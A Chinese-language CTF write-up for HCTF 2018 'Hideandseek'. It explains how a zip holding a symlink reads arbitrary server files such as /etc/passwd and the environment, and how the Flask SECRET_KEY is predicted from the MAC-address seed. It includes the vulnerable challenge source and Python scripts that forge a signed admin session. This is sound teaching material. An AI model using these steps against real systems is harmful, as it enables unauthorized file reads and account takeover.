【WEB】[HCTF 2018]Hideandseek

考点:Flask Session 伪造,Zip 软链接任意文件读取,伪随机数种子预测,信息收集,MAC 地址

点击靶机。发现有个登录界面,随便输几个登陆进去。

网站有个zip上传功能:

  1. 你上传一个zip文件

  2. 服务器解压它

  3. 读取解压后的文件内容

  4. 把内容返回给你

漏洞点:如果zip里有软链接,服务器解压后读软链接,就会读到服务器上的文件。

前置知识

什么是软链接?

软链接就像Windows里的"快捷方式",它本身不存内容,只是指向另一个文件。

比如:

  • 你创建一个软链接叫 passwd,指向 /etc/passwd

  • 当你读取 passwd 这个软链接时,实际上读到的是 /etc/passwd 的内容

怎么创建软链接?

bash 复制代码
ln -s 目标文件 软链接名

比如:

bash 复制代码
ln -s /etc/passwd passwd

这就创建了一个叫 passwd 的软链接,指向 /etc/passwd

zip -y 是什么?

zip 是压缩命令,-y 参数的意思是:压缩的时候,保留软链接的原样,不把它指向的文件内容压进去

  • 不加 -y:zip会把软链接指向的文件内容压进去(相当于复制了一份)

  • 加了 -y:zip只保存软链接本身(解压出来还是个软链接)

这就是漏洞的关键!

如果网站上传zip后会解压,然后读取解压后的文件内容:

  • 你上传一个带软链接的zip(用 -y 参数压缩)

  • 服务器解压后,软链接还是软链接

  • 服务器读取这个软链接的内容时,就会读到服务器上对应文件的内容

  • 这样你就能读取服务器上的任意文件了

原理总结: 上传带软链接的zip → 服务器解压 → 服务器读软链接 → 读到服务器上的文件内容 → 任意文件读取漏洞

Flask Session 是什么?

Flask 是 Python 的一个 Web 框架。

Flask 的 session 有个特点:

  • 存在客户端(存在浏览器的cookie里)

  • SECRET_KEY 签名,防止篡改

  • 但内容是可以解密看到的(只是签名,不是加密)

什么是签名?

  • 就像在文件上盖个章,证明文件没被改过

  • 你能看到文件内容,但改了之后章就不对了

  • 只有知道密钥的人,才能盖出正确的章

所以:

  • 没有 SECRET_KEY → 你能看session内容,但改不了

  • 有了 SECRET_KEY → 你能伪造任意内容的session

随机数种子是什么?

计算机里的随机数不是真的随机,是伪随机------用一个算法算出来的。

这个算法需要一个初始值 ,这个初始值就叫种子(seed)

  • 种子一样 → 算出来的随机数序列就一样

  • 种子不同 → 随机数序列就不同

举个例子

python 复制代码
import random

random.seed(123)  # 设置种子为123
print(random.random())  # 输出一个随机数
print(random.random())  # 再输出一个

只要种子是123,每次运行输出的随机数都是一样的。

重点:知道了种子,就能预测所有的随机数

uuid.getnode() 是什么?

这是 Python 的一个函数,用来获取本机的 MAC地址,返回一个整数。

MAC地址是网卡的物理地址,每台机器的MAC地址是唯一的(理论上)。

python 复制代码
import uuid
print(uuid.getnode())  # 输出类似 12345678901234 这样的整数

MAC地址是什么?

MAC地址是网卡的物理地址,格式通常是这样的:

python 复制代码
c6:ec:32:84:fc:12
  • 一共6组,每组2位十六进制数

  • 用冒号分隔

  • 总共48位(6×8=48位)

MAC地址可以转成整数:

  • 把每组十六进制转成二进制

  • 拼起来

  • 再转成十进制整数

这就是 uuid.getnode() 返回的东西。

开始实操

我们先创建带软链接的zip,然后再将passwd.zip进行上传。

接下来读环境变量:

为什么要读环境变量?

  • 环境变量里可能有密钥、路径、配置等信息

  • 能帮我们了解服务器的结构

从环境变量里能看到:

  • UWSGI_INI=/app/uwsgi.ini ------ uwsgi的配置文件路径

  • FLAG=not_flag ------ 假的flag,提示你flag不在这

  • PYTHONPATH=/app ------ Python代码在 /app 目录下

  • 等等...

知道了uwsgi配置文件路径,就读它:

上传后得到uwsgi配置:

这告诉我们主程序的文件名。

接下来读取主程序路径:

不知道为什么什么回显都没有,正常来说应该是:

bash 复制代码
module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

根据实际路径,读取源码:

python 复制代码
 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)
python 复制代码
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

这三行是关键。

代码 解释
random.seed(uuid.getnode()) 设置随机数种子,种子是MAC地址(转成整数)
app = Flask(__name__) 创建Flask应用
app.config['SECRET_KEY'] = str(random.random()*100) SECRET_KEY = 随机数 × 100,转成字符串

源码里:

python 复制代码
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
  • 随机数种子 = MAC地址(转成整数)

  • SECRET_KEY = 第一个随机数 × 100

所以,我们要:

  1. 拿到MAC地址

  2. 转成整数

  3. 设为随机数种子

  4. 生成第一个随机数

  5. ×100 就是 SECRET_KEY

获取MAC地址

MAC地址转整数并计算 SECRET_KEY

python 复制代码
import uuid
import random

mac = ""
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
print(mac)#将mac转为十进制

random.seed(mac)
print(random.random()*100)#由转化后的mac得到伪随机数种子

伪造 admin session

我们直接用 Python 脚本,不用flask-unsign了,容易出问题。

python 复制代码
import base64
import zlib

session = "yJ1c2VybmFtZSI6ImFkbWluIn0.Gc5nQ.jaURTtMLuolmD4ppHGcspAUO58"

# 取第一部分(点号前面的)
payload = session.split('.')[0]

# base64解码
payload += '=' * (-len(payload) % 4)  # 补全等号
data = base64.urlsafe_b64decode(payload)

print(data.decode())

得出

python 复制代码
{"username":"text"}

将其改为

python 复制代码
{"username":"admin"}

用密钥重新签名 session

知道了密钥之后,自己造一个管理员的 session

python 复制代码
from itsdangerous import URLSafeTimedSerializer
import json

# 密钥
secret_key = "91.10781719043547"

# 你想要的session内容
session_data = {"username": "admin"}

# 创建序列化器(和Flask用的一样)
s = URLSafeTimedSerializer(
    secret_key,
    salt="cookie-session",
    serializer=None,
    signer_kwargs={
        "key_derivation": "hmac",
        "digest_method": "sha1"
    }
)

# 签名
result = s.dumps(session_data)

print("签名后的session:")
print(result)

替换伪造后的SESSION

这道题的核心逻辑链:

Zip软链接读任意文件 → 读源码发现SECRET_KEY生成方式 → 读MAC地址算种子 → 预测SECRET_KEY → 伪造admin session → 密钥重新签名 session → 拿flag